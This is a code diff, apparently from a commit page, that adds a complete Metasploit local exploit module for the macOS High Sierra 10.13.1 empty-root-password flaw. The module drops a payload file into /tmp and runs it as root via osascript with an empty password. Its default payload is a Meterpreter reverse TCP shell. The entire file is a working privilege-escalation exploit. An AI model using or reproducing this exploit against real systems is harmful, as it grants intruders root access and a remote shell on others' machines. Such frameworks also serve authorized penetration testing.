|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Local |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Post::File |
| 10 | + include Msf::Exploit::EXE |
| 11 | + include Msf::Exploit::FileDropper |
| 12 | + |
| 13 | + def initialize(info={}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Mac OS X Root Privilege Escalation', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a serious flaw in MacOSX High Sierra. |
| 18 | + Any user can login with user "root", leaving an empty password. |
| 19 | + }, |
| 20 | + 'License' => MSF_LICENSE, |
| 21 | + 'References' => |
| 22 | + [ |
| 23 | + [ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ], |
| 24 | + [ 'URL', 'https://news.ycombinator.com/item?id=15800676' ], |
| 25 | + [ 'URL', 'https://forums.developer.apple.com/thread/79235' ], |
| 26 | + ], |
| 27 | + 'Platform' => 'osx', |
| 28 | + 'Arch' => ARCH_X64, |
| 29 | + 'DefaultOptions' => |
| 30 | + { |
| 31 | + 'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp', |
| 32 | + }, |
| 33 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 34 | + 'Targets' => [ |
| 35 | + [ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ] |
| 36 | + ], |
| 37 | + 'DefaultTarget' => 0, |
| 38 | + 'DisclosureDate' => 'Wed 29 2017' |
| 39 | + )) |
| 40 | + end |
| 41 | + |
| 42 | + def exploit_cmd(root_payload) |
| 43 | + "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'" |
| 44 | + end |
| 45 | + |
| 46 | + def exploit |
| 47 | + payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" |
| 48 | + print_status("Writing payload file as '#{payload_file}'") |
| 49 | + write_file(payload_file, payload.raw) |
| 50 | + register_file_for_cleanup(payload_file) |
| 51 | + output = cmd_exec("chmod +x #{payload_file}") |
| 52 | + print_status("Executing payload file as '#{payload_file}'") |
| 53 | + cmd_exec(exploit_cmd(payload_file)) |
| 54 | + end |
| 55 | +end |
0 commit comments